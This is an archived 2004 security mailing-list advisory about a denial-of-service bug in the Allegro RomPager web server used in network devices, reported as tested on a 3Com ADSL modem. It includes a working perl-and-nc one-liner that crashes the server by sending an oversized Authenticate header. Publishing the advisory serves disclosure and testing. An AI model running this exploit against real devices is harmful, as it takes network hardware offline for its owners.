[EXPL] Allegro RomPager DoS Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 05/23/04

  • Next message: SecuriTeam: "[NT] BNBT BitTorrent Tracker DoS" 
    To: list@securiteam.com
Date: 23 May 2004 14:53:46 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Allegro RomPager DoS Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Allegro-Software-RomPager is an HTTP server used in network hardware (such
    as switches) to provide a web interface to remotely configure your
    hardware. By sending a especially incorrect request to the HTTP server it
    is possible to cause the server to crash. This is an old bug in Alegro
    RomPager seems that seems to be still relevant as it was unresolved in
    many systems. The DoS proof of concept code can be used to test machines
    for this vulnerability.

    DETAILS

    The vulnerability described in:
    <http://www.securiteam.com/securitynews/5JQ050A1PK.html>
    http://www.securiteam.com/securitynews/5JQ050A1PK.html is still around
    after all these years. The code presented below will cause a remote
    machine running the web server to stop responding. Tested on 3Com 812
    OfficeConnect ADSL Modem.

    Proof of Concept Code:
    The exploit code is this one-liner:

    $ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate:
    " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:seth@tautology.org> Seth
    Alan Woolley.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] BNBT BitTorrent Tracker DoS"

    Relevant Pages

    • [NT] Multiple Vulnerabilities in PY Software Active Webcam WebServer
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... including Denial of Service and Information Disclosure. ... Floppy Disk Request Denial of Service: ... be paused, that means the other user cannot access the HTTP Server, thus ...
      (Securiteam)
    • [UNIX] Apache Memory Corruption in Various Architectures
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Apache Software Foundation's HTTP Server is ... possible memory corruption can occur. ... API_EXPORT(char *) ap_validate_password(const char *passwd, ...
      (Securiteam)
    • [NT] sHTTP FTPServer Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The FTP server support of Small HTTP server contains a directory traversal ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NEWS] Mephistoles HTTPd Cross Site Scripting Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The HTTP server that is distributed in this Internet Suite is vulnerable ... The vendor has been contacted and a new release of Mephistoles HTTPd is in ...
      (Securiteam)
    • [TOOL] Fast SYN Scanner (libnet, libpcap)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct bpf_program cfilter; ... const unsigned char *packet; ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)